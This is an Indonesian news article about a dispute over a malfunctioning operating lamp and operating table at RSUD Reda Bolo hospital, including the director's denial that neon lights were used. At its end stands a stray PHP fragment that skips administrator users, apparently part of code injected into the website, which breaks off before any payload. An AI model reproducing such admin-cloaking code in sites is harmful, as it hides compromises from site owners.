Kesehatan

Bantah Pakai Neon di Ruang Bedah, Direktur RSUD Reda Bolo Sebut, Hanya Lampu Tambahan untuk Penerangan

×

Bantah Pakai Neon di Ruang Bedah, Direktur RSUD Reda Bolo Sebut, Hanya Lampu Tambahan untuk Penerangan

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Menajemen RSUD Reda Bolo, Tambolaka, SBD mendapat sorotan tajam dari wakil rakyat.

Beberapa waktu lalu Komisi I DPRD Kabupaten SBD menggelar kunjungan kerja (kunker) ke fasilitas kesehatan yang sebentar lagi naik kelas jadi tipe C

Tata kelola sarana, terlebih pemanfaatan anggaran dikupas habis dalam sebuah pertemuan bersama pimpinan dinas kesehatan dan manajer rumah sakit.

Tidak terkecuali temuan tentang ruang bedah (kamar operasi) yang disebut menggunakan fasilitas kurang layak.

Direktur RSUD Reda Bolo, dr Elfrida Marpaung didampingi salah satu staf saat memberikan keterangan kepada wartawan. ( Foto Menara Sumba )

Dari meja operasi yang tidak berfungsi optimal hingga penggunaan lampu neon akibat lampu operasi tidak berfungsi normal.

Sejak diserahkan pada Desember 2024, dua fasilitas di kamar operasi ini sudah bermasalah ketika dilakukan uji fungsi.

“Saat diserahkan lampu sudah rusak. Saat ini sering nyala-padam, cahayanya tidak terang menyulitkan saat tindakan operasi,” ungkap sumber media ini.

Akibatnya mata perih saat dilakukan operasi dan membuat pasien tidak nyaman.

Sebagai pengganti digunakan lampu neon biasa tapi sangat tidak sesuai standar.

Lain Dipesan Lain yang Datang

Persoalan ini sudah dilaporkan berulang kali kepada manajemen tapi tidak pernah ada solusi.

Celakanya lagi, alat yang didatangkan selalu tidak sesuai spesifikasi pesanan pihak rumah sakit.

Dikonfirmasi awak media pekan lalu, Direktur RSUD Reda Bolo, dr Elfrida Marpaung membantah penggunaan lampu neon di ruang operasi.

Menurut Elfrida, soalnya ada pada penggunaan lampu saat operasi yang tidak stabil ketika digerakkan

“Tidak stabil kalau digerakkan, kan kadang-kadang operator itu mau arah ke sini, mau arah ke sini, kan itu mereka atur,” timpalnya.

“Nah, jadi akhirnya mereka katanya kemarin itu memang sempat menggunakan lampu tambahan untuk membantu penerangan. Lampu tindakan, bukan neon,” kelitnya lagi.

Demikian halnya meja operasi yang juga diserahkan pada Desember 2024 lalu.

Pihaknya beralasan jika pesanan saat itu disesuaikan dengan kondisi kebutuhan yang ada.

Padahal baru setahun meja operasi didatangkan, bahkan ia menuding usulan perencana yang tidak mempertimbangkan perkembangan kebutuhan rumah sakit.

“Mungkin dulu (tahun 2024) rumah sakit belum berkembang seperti ini sehingga kita mungkin (belum) membutuhkan spesifikasi yang lebih khusus,” kilah Elfrida. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>